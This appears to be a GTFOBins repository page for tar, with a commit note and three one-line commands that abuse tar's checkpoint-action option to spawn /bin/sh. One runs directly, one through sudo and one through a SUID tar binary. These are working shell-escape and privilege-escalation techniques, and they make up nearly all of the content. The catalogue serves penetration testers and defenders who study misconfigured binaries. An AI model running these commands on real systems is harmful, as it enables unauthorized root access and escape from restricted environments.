GTFOBins.github.io/_gtfobins/tar.md
Andrea Cardaci e885d4a6ee Remove the -p option from suid-limited
It is useless because:
- if Debian-like, it is not supported and does not drop anyway;
- otherwise the `system()`-like function already used a shell that dropped the
  privileges.
2018-05-25 00:57:42 +02:00

344 B

functions
exec-interactive sudo-enabled suid-limited
code
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
code
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
code
./tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec="/bin/sh"